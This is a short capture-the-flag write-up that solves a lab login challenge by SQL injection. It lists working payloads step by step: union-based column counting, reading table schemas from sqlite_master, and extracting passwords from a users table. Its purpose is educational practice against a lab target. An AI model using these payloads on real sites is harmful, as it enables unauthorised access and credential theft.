Simple Web - 0x03(Lab - Normal Login Panel (Flag 1))
tags: CTF Web eductf
Challenge: https://login.ctf.zoolab.org/
Exploit - SQLi
Easy way - SQLmap
1 | |
Hard way - try&error
- Check if it has
sqliproblem- Payload:
union'
- Payload:
- Try union based
- Payload:
admin' union select 1 --→ WRONG - Payload:
admin' union select 1,2 --→ WRONG - Payload:
admin' union select 1,2,3 --→ WRONG - Payload:
admin' union select 1,2,3,4 --
Obviously, it shows some info when select 4 values
- Payload:
- Must know the metadata
According to the author, it used
sqliteas itsDBMS. As kaibro cheat sheet爆表名 SELECT name FROM sqlite_master WHERE type=’table’
Then we can add this in our request Payload:
admin' union select 1,2,3,sql FROM sqlite_master WHERE type='table' --
Based on the info we leak, there’s a table named
userswith `id`, `username`, `password`,and `count` 4 columns - Leak password
- Payload:
admin' union select 1,2,3,password FROM users --
- Payload:
Result
Then we got source code!!!
1 | |